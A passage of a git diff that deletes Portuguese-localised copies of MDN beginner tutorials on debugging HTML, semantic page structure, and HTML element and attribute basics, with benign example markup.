    -  <li>Unclosed elements: If an element is <strong>not closed properly,
    -      then its effect can spread to areas you didn't intend
    -
    -  <li>Badly nested elements: Nesting elements properly is also very important
    -      for code behaving correctly. <strong>strong <em>strong emphasised?</strong>
    -      what is this?</em>
    -
    -  <li>Unclosed attributes: Another common source of HTML problems. Let's
    -      look at an example: <a href="https://www.mozilla.org/>link to Mozilla
    -      homepage</a>
    -</ul>
    -
  6. -
  7. Let's review the problems: -
      -
    • The {{htmlelement("p","paragraph")}} and {{htmlelement("li","list item")}} elements have no closing tags. Looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin.
    • -
    • The first {{htmlelement("strong")}} element has no closing tag. This is a bit more problematic, as it isn't easy to tell where the element is supposed to end. In fact, the whole of the rest of the text has been strongly emphasised.
    • -
    • This section is badly nested: <strong>strong <em>strong emphasised?</strong> what is this?</em>. It is not easy to tell how this has been interpreted because of the previous problem.
    • -
    • The {{htmlattrxref("href","a")}} attribute value has a missing closing double quote. This seems to have caused the biggest problem — the link has not rendered at all.
    • -
    -
  8. -
  9. Now let's look at the markup the browser has rendered, as opposed to the markup in the source code. To do this, we can use the browser developer tools. If you are not familiar with how to use your browser's developer tools, take a few minutes to review Discover browser developer tools.
  10. -
  11. In the DOM inspector, you can see what the rendered markup looks like: The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text "What causes errors in HTML?" Here you can see that the paragraph element has been closed by the browser.
  12. -
  13. Using the DOM inspector, let's explore our code in detail to see how the browser has tried to fix our HTML errors (we did the review in Firefox; other modern browsers should give the same result): -
      -
    • The paragraphs and list items have been given closing tags.
    • -
    • It isn't clear where the first <strong> element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!
    • -
    • The  incorrect nesting has been fixed by the browser like this: -
      <strong>strong
      -  <em>strong emphasised?</em>
      -</strong>
      -<em> what is this?</em>
      -
    • -
    • The link with the missing double quote has been deleted altogether. The last list item looks like this: -
      <li>
      -  <strong>Unclosed attributes: Another common source of HTML problems.
      -  Let's look at an example: </strong>
      -</li>
      -
    • -
    -
  14. -
- -

HTML validation

- -

So you can see from the above example that you really want to make sure your HTML is well-formed! But how? In a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex HTML document?

- -

The best strategy is to start by running your HTML page through the Markup Validation Service — created and maintained by the W3C, the organization that looks after the specifications that define HTML, CSS, and other web technologies. This webpage takes an HTML document as an input, goes through it, and gives you a report to tell you what is wrong with your HTML.

- -

The HTML validator homepage

- -

To specify the HTML to validate, you can give it a web address, upload an HTML file, or directly input some HTML code.

- -

Active learning: Validating an HTML document

- -

Let's try this with our sample document.

- -
    -
  1. First, load up the Markup Validation Service in one browser tab, if it isn't already.
  2. -
  3. Switch to the Validate by Direct Input tab.
  4. -
  5. Copy all the sample document's code (not just the body) and paste it into the large text area shown in the Markup Validation Service.
  6. -
  7. Press the Check button.
  8. -
- -

This should give you a list of errors and other information.

- -

A list of of HTML validation results from the W3C markup validation service

- -

Interpreting the error messages

- -

The error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code. Let's go through the error messages and what they mean. You'll see that each message comes with a line and column number to help you to locate the error easily.

- -
    -
  • "End tag li implied, but there were open elements" (2 instances): These messages indicate that an element is open that should be closed. The ending tag is implied, but not actually there. The line/column information points to the first line after the line where the closing tag should really be, but this is a good enough clue to see what is wrong.
  • -
  • "Unclosed element strong": This is really easy to understand — a {{htmlelement("strong")}} element is unclosed, and the line/column information points right to where it is.
  • -
  • "End tag strong violates nesting rules": This points out the incorrectly nested elements, and the line/column information points out where it is.
  • -
  • "End of file reached when inside an attribute value. Ignoring tag": This one is rather cryptic; it refers to the fact that there is an attribute value not properly formed somewhere, possibly near the end of the file because the end of the file appears inside the attribute value. The fact that the browser doesn't render the link should give us a good clue as to what element is at fault.
  • -
  • "End of file seen and there were open elements": This is a bit ambiguous, but basically refers to the fact there are open elements that need to be properly closed. The lines numbers point to the last few lines of the file, and this error message comes with a line of code that points out an example of an open element: -
    example: <a href="https://www.mozilla.org/>link to Mozilla homepage</a> ↩ </ul>↩ </body>↩</html>
    - -
    -

    Note: An attribute missing a closing quote can result in an open element because the rest of the document is interpreted as the attribute's content.

    -
    -
  • -
  • "Unclosed element ul": This is not very helpful, as the {{htmlelement("ul")}} element is closed correctly. This error comes up because the {{htmlelement("a")}} element is not closed, due to the missing closing quote mark.
  • -
- -

If you can't work out what every error message means, don't worry about it — a good idea is to try fixing a few errors at a time. Then try revalidating your HTML to show what errors are left. Sometimes fixing an earlier error will also get rid of other error messages — several errors can often be caused by a single problem, in a domino effect.

- -

You will know when all your errors are fixed when you see the following banner in your output:

- -

Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."

- -

Summary

- -

So there we have it, an introduction to debugging HTML, which should give you some useful skills to count on when you start to debug CSS, JavaScript, and other types of code later on in your career. This also marks the end of the Introduction to HTML module learning articles — now you can go on to testing yourself with our assessments: the first one is linked below.

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html deleted file mode 100644 index 06450aaf64..0000000000 --- a/files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html +++ /dev/null @@ -1,293 +0,0 @@ ---- -title: "Estrutura do\_documento e do website" -slug: Learn/HTML/Introduction_to_HTML/Document_and_website_structure -tags: - - Guía - - HTML - - Layout - - Principiante - - pagina - - semántica -translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure -original_slug: Learn/HTML/Introducao_ao_HTML/Estrutura_documento_website ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}
- -

In addition to defining individual parts of your page (such as "a paragraph" or "an image"), {{glossary("HTML")}} also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main content column"). This article looks into how to plan a basic website structure, and write the HTML to represent this structure.

- - - - - - - - - - - - -
Prerequisites:Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals. How hyperlinks work, as covered in Creating hyperlinks.
Objective:Learn how to structure your document using semantic tags, and how to work out the structure of a simple website.
- -

Basic sections of a document

- -

Webpages can and will look pretty different from one another, but they all tend to share similar standard components, unless the page is displaying a fullscreen video or game, is part of some kind of art project, or is just badly structured:

- -
-
header
-
Usually a big strip across the top with a big heading and/or logo. This is where the main common information about a website usually stays from one webpage to another.
-
navigation bar
-
Links to the site's main sections; usually represented by menu buttons, links, or tabs. Like the header, this content usually remains consistent from one webpage to another — having an inconsistent navigation on your website will just lead to confused, frustrated users. Many web designers consider the navigation bar to be part of the header rather than a individual component, but that's not a requirement; in fact some also argue that having the two separate is better for accessibility, as screen readers can read the two features better if they are separate.
-
main content
-
A big area in the center that contains most of the unique content of a given webpage, for example the video you want to watch, or the main story you're reading, or the map you want to view, or the news headlines, etc. This is the one part of the website that definitely will vary from page to page!
-
sidebar
-
Some peripheral info, links, quotes, ads, etc. Usually this is contextual to what is contained in the main content (for example on a news article page, the sidebar might contain the author's bio, or links to related articles) but there are also cases where you'll find some recurring elements like a secondary navigation system.
-
footer
-
A strip across the bottom of the page that generally contains fine print, copyright notices, or contact info. It's a place to put common information (like the header) but usually that information is not critical or secondary to the website itself. The footer is also sometimes used for {{Glossary("SEO")}} purposes, by providing links for quick access to popular content.
-
- -

A "typical website" could be laid out something like this:

- -

a simple website structure example featuring a main heading, navigation menu, main content, side bar, and footer.

- -

HTML for structuring content

- -

The simple example shown above isn't pretty, but it is perfectly ok for illustrating a typical website layout example. Some websites have more columns, some are way more complex, but you get the idea. With the right CSS, you could use pretty much any elements to wrap around the different sections and get it looking how you wanted, but as discussed before, we need to respect semantics, and use the right element for the right job.

- -

This is because visuals don't tell the whole story. We use color and font size to draw sighted users' attention to the most useful parts of the content, like the navigation menu and related links, but what about visually impaired people for example, who might not find concepts like "pink" and "large font" very useful?

- -
-

Note: Colorblind people represent around 4% of the world population or, to put it another way, approximately 1 in every 12 men and 1 in every 200 women are colorblind. Blind and visually impaired people represent roughly 4-5% of the world population (in 2012 there were 285 million such people in the world, while the total population was around 7 billion).

-
- -

In your HTML code, you can mark up sections of content based on their functionality — you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." As we mentioned earlier in the course, there are a number of consequences of not using the right element structure and semantics for the right job.

- -

To implement such semantic mark up, HTML provides dedicated tags that you can use to represent such sections, for example:

- -
    -
  • header: {{htmlelement("header")}}.
  • -
  • navigation bar: {{htmlelement("nav")}}.
  • -
  • main content: {{htmlelement("main")}}, with various content subsections represented by {{HTMLElement("article")}}, {{htmlelement("section")}}, and {{htmlelement("div")}} elements.
  • -
  • sidebar: {{htmlelement("aside")}}; often placed inside {{htmlelement("main")}}.
  • -
  • footer: {{htmlelement("footer")}}.
  • -
- -

Active learning: exploring the code for our example

- -

Our example seen above is represented by the following code (you can also find the example in our GitHub repository). We'd like you to look at the example above, and then look over the listing below to see what parts make up what section of the visual.

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-
-    <title>My page title</title>
-    <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css">
-    <link rel="stylesheet" href="style.css">
-
-    <!-- the below three lines are a fix to get HTML5 semantic elements working in old versions of Internet Explorer-->
-    <!--[if lt IE 9]>
-      <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
-    <![endif]-->
-  </head>
-
-  <body>
-    <!-- Here is our main header that is used across all the pages of our website -->
-
-    <header>
-      <h1>Header</h1>
-    </header>
-
-    <nav>
-      <ul>
-        <li><a href="#">Home</a></li>
-        <li><a href="#">Our team</a></li>
-        <li><a href="#">Projects</a></li>
-        <li><a href="#">Contact</a></li>
-      </ul>
-
-       <!-- A Search form is another commmon non-linear way to navigate through a website. -->
-
-       <form>
-         <input type="search" name="q" placeholder="Search query">
-         <input type="submit" value="Go!">
-       </form>
-     </nav>
-
-    <!-- Here is our page's main content -->
-    <main>
-
-      <!-- It contains an article -->
-      <article>
-        <h2>Article heading</h2>
-
-        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p>
-
-        <h3>Subsection</h3>
-
-        <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p>
-
-        <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p>
-
-        <h3>Another subsection</h3>
-
-        <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p>
-
-        <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p>
-      </article>
-
-      <!-- the aside content can also be nested within the main content -->
-      <aside>
-        <h2>Related</h2>
-
-        <ul>
-          <li><a href="#">Oh I do like to be beside the seaside</a></li>
-          <li><a href="#">Oh I do like to be beside the sea</a></li>
-          <li><a href="#">Although in the North of England</a></li>
-          <li><a href="#">It never stops raining</a></li>
-          <li><a href="#">Oh well...</a></li>
-        </ul>
-      </aside>
-
-    </main>
-
-    <!-- And here is our main footer that is used across all the pages of our website -->
-
-    <footer>
-      <p>©Copyright 2050 by nobody. All rights reversed.</p>
-    </footer>
-
-  </body>
-</html>
- -

Take some time to look over the code and understand it — the comments inside the code should also help you to understand it. We aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound HTML structure, and then laying it out with CSS. We'll wait for this until you start to study CSS layout as part of the CSS topic.

- -

HTML layout elements in more detail

- -

It's good to understand the overall meaning of all the HTML sectioning elements in detail — this is something you'll work on gradually as you start to get more experience with web development. You can find a lot of detail by reading our HTML element reference. For now, these are the main definitions that you should try to understand:

- -
    -
  • {{HTMLElement('main')}} is for content unique to this page. Use <main> only once per page, and put it directly inside {{HTMLElement('body')}}. Ideally this shouldn't be nested within other elements.
  • -
  • {{HTMLElement('article')}} encloses a block of related content that makes sense on its own without the rest of the page (e.g., a single blog post).
  • -
  • {{HTMLElement('section')}} is similar to <article>, but it is more for grouping together a single part of the page that constitutes one single piece of functionality (e.g., a mini map, or a set of article headlines and summaries). It's considered best practice to begin each section with a heading; also note that you can break <article>s up into different <section>s, or <section>s up into different <article>s, depending on the context.
  • -
  • {{HTMLElement('aside')}} contains content that is not directly related to the main content but can provide additional information indirectly related to it (glossary entries, author biography, related links, etc.).
  • -
  • {{HTMLElement('header')}} represents a group of introductory content. If it is a child of {{HTMLElement('body')}} it defines the global header of a webpage, but if it's a child of an {{HTMLElement('article')}} or {{HTMLElement('section')}} it defines a specific header for that section (try not to confuse this with titles and headings).
  • -
  • {{HTMLElement('nav')}} contains the main navigation functionality for the page. Secondary links, etc., would not go in the navigation.
  • -
  • {{HTMLElement('footer')}} represents a group of end content for a page.
  • -
- -

Non-semantic wrappers

- -

Sometimes you'll come across a situation where you can't find an ideal semantic element to group some items together or wrap some content. Sometimes you might want to just group a set of elements together to affect them all as a single entity with some {{glossary("CSS")}} or {{glossary("JavaScript")}}. For cases like these, HTML provides the {{HTMLElement("div")}} and {{HTMLElement("span")}} elements. You should use these preferably with a suitable {{htmlattrxref('class')}} attribute, to provide some kind of label for them so they can be easily targeted.

- -

{{HTMLElement("span")}} is an inline non-semantic element, which you should only use if you can't think of a better semantic text element to wrap your content, or don't want to add any specific meaning. For example:

- -
<p>The King walked drunkenly back to his room at 01:00, the beer doing nothing to aid
-him as he staggered through the door <span class="editor-note">[Editor's note: At this point in the
-play, the lights should be down low]</span>.</p>
- -

In this case, the editor's note is supposed to merely provide extra direction for the director of the play; it is not supposed to have extra semantic meaning. For sighted users, CSS would perhaps be used to distance the note slightly from the main text.

- -

{{HTMLElement("div")}} is a block level non-semantic element, which you should only use if you can't think of a better semantic block element to use, or don't want to add any specific meaning. For example, imagine a shopping cart widget that you could choose to pull up at any point during your time on an e-commerce site:

- -
<div class="shopping-cart">
-  <h2>Shopping cart</h2>
-  <ul>
-    <li>
-      <p><a href=""><strong>Silver earrings</strong></a>: $99.95.</p>
-      <img src="../products/3333-0985/thumb.png" alt="Silver earrings">
-    </li>
-    <li>
-      ...
-    </li>
-  </ul>
-  <p>Total cost: $237.89</p>
-</div>
- -

This isn't really an <aside>, as it doesn't necessarily relate to the main content of the page (you want it viewable from anywhere). It doesn't even particularly warrant using a  <section>, as it isn't part of the main content of the page. So a <div> is fine in this case. We've included a heading as a signpost to aid screenreader users in finding it.

- -
-

Warning: Divs are so convenient to use that it's easy to use them too much. As they carry no semantic value, they just clutter your HTML code. Take care to use them only when there is no better semantic solution and try to reduce their usage to the minimum otherwise you'll have a hard time updating and maintaining your documents.

-
- -

Line breaks and horizontal rules

- -

Two elements that you'll use occasionally and will want to know about are {{htmlelement("br")}} and {{htmlelement("hr")}}:

- -

<br> creates a line break in a paragraph; it is the only way to force a rigid structure in a situation where you want a series of fixed short lines, such as in a postal address or a poem. For example:

- -
<p>There once was a man named O'Dell<br>
-Who loved to write HTML<br>
-But his structure was bad, his semantics were sad<br>
-and his markup didn't read very well.</p>
- -

Without the <br> elements, the paragraph would just be rendered in one long line (as we said earlier in the course, HTML ignores most whitespace); with them in the code, the markup renders like this:

- -

There once was a man named O'Dell
- Who loved to write HTML
- But his structure was bad, his semantics were sad
- and his markup didn't read very well.

- -

<hr> elements create a horizontal rule in the document that denotes a thematic change in the text (such as a change in topic or scene). Visually it just looks like a horizontal line. As an example:

- -
<p>Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.</p>
-<hr>
-<p>Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hazily and sighed; "better get back to work then", he mused.</p>
- -

Would render like this:

- -

Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.

- -
-

Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hazily and sighed; "better get back to work then", he mused.

- -

Planning a simple website

- -

Once you've planned out the content of a simple webpage, the next logical step is to try to work out what content you want to put on a whole website, what pages you need, and how they should be arranged and link to one another for the best possible user experience. This is called {{glossary("Information architecture")}}. In a large, complex website, a lot of planning can go into this process, but for a simple website of a few pages this can be fairly simple, and fun!

- -
    -
  1. Bear in mind that you'll have a few elements common to most (if not all) pages — such as the navigation menu, and the footer content. If your site is for a business, for example, it's a good idea to have your contact information available in the footer on each page. Note down what you want to have common to every page.the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy
  2. -
  3. Next, draw a rough sketch of what you might want the structure of each page to look like (it might look like our simple website above). Note what each block is going to be.A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer
  4. -
  5. Now, brainstorm all the other (not common to every page) content you want to have on your website — write a big list down.A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info
  6. -
  7. Next, try to sort all these content items into groups, to give you an idea of what parts might live together on different pages. This is very similar to a technique called {{glossary("Card sorting")}}.The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things
  8. -
  9. Now try to sketch a rough sitemap — have a bubble for each page on your site, and draw lines to show the typical workflow between pages. The homepage will probably be in the center, and link to most if not all of the others; most of the pages in a small site should be available from the main navigation, although there are exceptions. You might also want to include notes about how things might be presented.A map of the site showing the homepage, country page, search results, specials page, checkout, and buy page
  10. -
- -

Active learning: create your own sitemap

- -

Try carrying out the above exercise for a website of your own creation. What would you like to make a site about?

- -
-

Note: Save your work somewhere; you might need it later on.

-
- -

Summary

- -

At this point you should have a better idea about how to structure a web page/site. In the last article of this module, we'll study how to debug HTML.

- -

See also

- - - -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/getting_started/index.html b/files/pt-pt/learn/html/introduction_to_html/getting_started/index.html deleted file mode 100644 index d6b77c0bcb..0000000000 --- a/files/pt-pt/learn/html/introduction_to_html/getting_started/index.html +++ /dev/null @@ -1,613 +0,0 @@ ---- -title: Começar com HTML -slug: Learn/HTML/Introduction_to_HTML/Getting_started -tags: - - Comentário - - Elemento - - Guía - - HTML - - Principiante - - atributo - - espaço em branco - - referência de entidade -translation_of: Learn/HTML/Introduction_to_HTML/Getting_started -original_slug: Learn/HTML/Introducao_ao_HTML/Iniciacao_HTML ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML", "Learn/HTML/Introducao_ao_HTML")}}
- -

Neste artigo nós iremos abranger os básicos absolutos de HTML, para o iniciar — nós definimos os elementos, atributos, e todos os outros termos importantes que já poderá ter ouvido, e onde os incorporar na linguagem. Nós também mostramos como é que o elemento de HTML é estruturado, como é que uma página HTML é estruturada, e explicar outras funcionalidades de linguagem básica importantes. E nós iremos algumas demonstrações de algum HTML, para o motivar!

- - - - - - - - - - - - -
Pré-requisitos:Basic computer literacy, basic software installed, and basic knowledge of working with files.
Objetivo:To gain basic familiarity with the HTML language, and get some practice writing a few HTML elements.
- -

O que é HTML?

- -

{{glossary("HTML")}} (Linguagem de Marcação de Hipertexto) não é uma linguagem de programação; é uma linguagem de marcação utilizada para comunicar ao seu navegador como estruturar as páginas da Web que visita. Este pode ser tão complicado ou tão simples como o programador da Web o desejar. HTML consiste em uma série de  {{glossary("Element", "elementos")}}, que utiliza para incluir, ou marcar diferentes partes do conteúdo para que este apareça ou atue de uma determinada maneira. A inclusão de {{glossary("Tag", "etiquetas")}} pode tornar uma parte do conteúdo em uma hiperligação para interligar com outra página na Web, colocar as palavras em itálico, e assim por diante. Por exemplo, siga a seguinte linha de conteúdo:

- -
My cat is very grumpy
- -

Se quisermos que a linha esteja demarcada, podemos especificar que é um parágrafo, encerrando-a num elemento com tag de parágrafo ({{htmlelement("p")}}) :

- -
<p>My cat is very grumpy</p>
- -

Anatomia de um elemento HTML

- -

Vamos explorar o nosso elemento parágrafo um pouco mais:

- -

- -

As partes principais do nosso elemento são:

- -
    -
  1. A tag de abertura: Isto consiste no nome do elemento (neste caso, p), envolta por colchetes angulares de abertura ( < ) e fecho ( > ). Isto especifica onde o elemento começa, ou onde começa a ter efeito - neste caso, onde está o início do parágrafo.
  2. -
  3. A tag de fecho: Isto é o mesmo que a tag de abertura, só que inclui um traço ( \ ) antes do nome do elemento. Isto indica onde é que o elemento acaba - neste caso, onde é o fim do parágrafo. Esquecer-se de incluir uma tag de fecho é um erro comum de principiante e pode levar a resultados estranhos.
  4. -
  5. O conteúdo: É o conteúdo do elemento, que neste caso é só texto.
  6. -
  7. O elemento: A tag de abertura mais a tag de fecho mais o conteúdo é igual ao elemento.
  8. -
- -

Aprendizagem ativa: criar o seu primeiro HTML

- -

Edit the line below in the Input area by wrapping it with the tags <em> and </em> (put <em> before it to open the element, and </em> after it, to close the element) — this should give the line italic emphasis! You'll be able to see your changes update live in the Output area.

- -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 300) }}

- -

Nesting elements

- -

You can put elements inside other elements too — this is called nesting. If we wanted to state that our cat is very grumpy, we could wrap the word "very" in a {{htmlelement("strong")}} element, which means that the word is to be strongly emphasized:

- -
<p>My cat is <strong>very</strong> grumpy.</p>
- -

You do however need to make sure that your elements are properly nested: in the example above we opened the p element first, then the strong element, therefore we have to close the strong element first, then the p. The following is incorrect:

- -
<p>My cat is <strong>very grumpy.</p></strong>
- -

The elements have to open and close correctly so they are clearly inside or outside one another. If they overlap like above, then your web browser will try to make a best guess at what you were trying to say, and you may well get unexpected results. So don't do it!

- -

Block versus inline elements

- -

There are two important categories of elements in HTML, which you should know about — block-level elements and inline elements.

- -
    -
  • Block-level elements form a visible block on a page — they will appear on a new line from whatever content went before it, and any content that goes after it will also appear on a new line. Block-level elements tend to be structural elements on the page that represent, for example, paragraphs, lists, navigation menus, footers, etc. A block-level element wouldn't be nested inside an inline element, but it might be nested inside another block-level element.
  • -
  • Inline elements are those that are contained within block-level elements and surround only small parts of the document’s content, not entire paragraphs and groupings of content. An inline element will not cause a new line to appear in the document; they would normally appear inside a paragraph of text, for example an {{htmlelement("a")}} element (hyperlink) or emphasis elements such as {{htmlelement("em")}} or {{htmlelement("strong")}}.
  • -
- -

Take the following example:

- -
<em>first</em><em>second</em><em>third</em>
-
-<p>fourth</p><p>fifth</p><p>sixth</p>
-
- -

{{htmlelement("em")}} is an inline element, so as you can see below, the first three elements sit on the same line as one another with no space in between. On the other hand, {{htmlelement("p")}} is a block-level element, so each element appears on a new line, with space above and below each (the spacing is due to default CSS styling that the browser applies to paragraphs).

- -

{{ EmbedLiveSample('Block_versus_inline_elements', 700, 200) }}

- -
-

Nota: HTML5 redefined the element categories in HTML5: see Element content categories. While these definitions are more accurate and less ambiguous than the ones that went before, they are a lot more complicated to understand than "block" and "inline", so we will stick with these throughout this topic.

-
- -
-

Nota: You can find useful reference pages that include lists of block and inline elements — see Block-level elements and Inline elements.

-
- -

Elementos vazios

- -

Not all elements follow the above pattern of opening tag, content, closing tag. Some elements consist only of a single tag, which is usually used to insert/embed something in the document at the place it is included. For example, the {{htmlelement("img")}} element embeds an image file onto a page in the position it is included in:

- -
<img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png">
- -

This would output the following on your page:

- -

{{ EmbedLiveSample('Empty_elements', 700, 300) }}

- -
-

Nota: Empty elements are also sometimes called void elements.

-
- -

Atributos

- -

Elements can also have attributes, which look like this:

- -

&lt;p class="editor-note">My cat is very grumpy&lt;/p>

- -

Attributes contain extra information about the element which you don't want to appear in the actual content. In this case, the class attribute allows you to give the element an identifying name that can be later used to target the element with style information and other things.

- -

An attribute should have:

- -
    -
  1. A space between it and the element name (or the previous attribute, if the element already has one or more attributes.)
  2. -
  3. The attribute name, followed by an equals sign.
  4. -
  5. An attribute value, with opening and closing quote marks wrapped around it.
  6. -
- -

Aprendizagem ativa: Adicionar atributos a um elemento

- -

Another example of an element is {{htmlelement("a")}} — this stands for anchor and will make the piece of text it wraps around into a hyperlink. This can take a number of attributes, but several are as follows:

- -
    -
  • href: This attribute specifies as its value the web address that you want the link to point to; where the browser navigates to when the link is clicked. For example, href="https://www.mozilla.org/".
  • -
  • title: The title attribute specifies extra information about the link, such as what the page is that you are linking to. For example, title="The Mozilla homepage". This will appear as a tooltip when hovered over.
  • -
  • target: The target attribute specifies the browsing context which will be used to display the link. For example, target="_blank" will display the link in a new tab. If you want to display the link in the current tab just omit this attribute.
  • -
- -

Edit the line below in the Input area to turn it into a link to your favourite website. First, add the <a> element. Second, add the href attribute and the title attribute. Lastly, specify target attribute to open the link in the new tab. You'll be able to see your changes update live in the Output area. You should see a link that when hovered over displays the title attribute's content, and when clicked navigates to the web address in the href element. Remember that you need to include a space between the element name, and each attribute.

- -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code2', 700, 300) }}

- -

Atributos de booliano

- -

You'll sometimes see attributes written without values — this is perfectly allowed. These are called boolean attributes, and they can only have one value, which is generally the same as the attribute name. As an example, take the {{htmlattrxref("disabled", "input")}} attribute, which you can assign to form input elements if you want them to be disabled (greyed out) so the user can't enter any data in them.

- -
<input type="text" disabled="disabled">
- -

As shorthand, it is perfectly allowable to write this as follows (we've also included a non-disabled form input element for reference, to give you more of an idea what is going on):

- -
<input type="text" disabled>
-
-<input type="text">
-
- -

Both will give you an output as follows:

- -

{{ EmbedLiveSample('Boolean_attributes', 700, 100) }}

- -

Omitir aspas em volta de valores de atributo

- -

When you look around the World Wide Web, you'll come across all kind of strange markup styles, including attribute values without quotes. This is allowable in certain circumstances, but will break your markup in others. For example, if we revisit our link example from earlier, we could write a basic version with only the href attribute, like this:

- -
<a href=https://www.mozilla.org/>favourite website</a>
- -

However, as soon as we add the title attribute in this style, things will go wrong:

- -
<a href=https://www.mozilla.org/ title=The Mozilla homepage>favourite website</a>
- -

At this point the browser will misinterpret your markup, thinking that the title attribute is actually three attributes — a title attribute with the value "The", and two boolean attributes, Mozilla and homepage. This is obviously not what was intended, and will cause errors or unexpected behaviour in the code, as seen in the live example below. Try hovering over the link to see what the title text is!

- -

{{ EmbedLiveSample('Omitting_quotes_around_attribute_values', 700, 100) }}

- -

Our advice is to always include the attribute quotes — it avoids such problems, and results in more readable code too.

- -

Aspas simples ou duplas?

- -

In this article you'll notice that the attributes are all wrapped in double quotes. You might however see single quotes in some people's HTML. This is purely a matter of style, and you can feel free to choose which one you prefer. Both the following lines are equivalent:

- -
<a href="http://www.example.com">A link to my example.</a>
-
-<a href='http://www.example.com'>A link to my example.</a>
- -

You should however make sure you don't mix them together. The following will go wrong!

- -
<a href="http://www.example.com'>A link to my example.</a>
- -

If you've used one type of quote in your HTML, you can include the other type of quote without causing any problems:

- -
<a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a>
- -

However if you want to include a quote within the quotes where both the quotes are of the same type(single quote or double quote), you'll have to use HTML entities for the quotes.

- -

Anatomia de uma documento HTML

- -

That wraps up the basics of individual HTML elements, but they aren't very useful on their own. Now we'll look at how individual elements are combined to form an entire HTML page:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>My test page</title>
-  </head>
-  <body>
-    <p>This is my page</p>
-  </body>
-</html>
- -

Here we have:

- -
    -
  1. <!DOCTYPE html>: The doctype. In the mists of time, when HTML was young (about 1991/2), doctypes were meant to act as links to a set of rules that the HTML page had to follow to be considered good HTML, which could mean automatic error checking and other useful things. They used to look something like this: - -
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    - However, these days no one really cares about them, and they are really just a historical artifact that needs to be included for everything to work right. <!DOCTYPE html> is the shortest string of characters that counts as a valid doctype; that's all you really need to know.
  2. -
  3. <html></html>: The {{htmlelement("html")}} element. This element wraps all the content on the entire page, and is sometimes known as the root element.
  4. -
  5. <head></head>: The {{htmlelement("head")}} element. This element acts as a container for all the stuff you want to include on the HTML page that isn't the content you are showing to your page's viewers. This includes things like keywords and a page description that you want to appear in search results, CSS to style our content, character set declarations, and more. You'll learn more about this in the next article in the series.
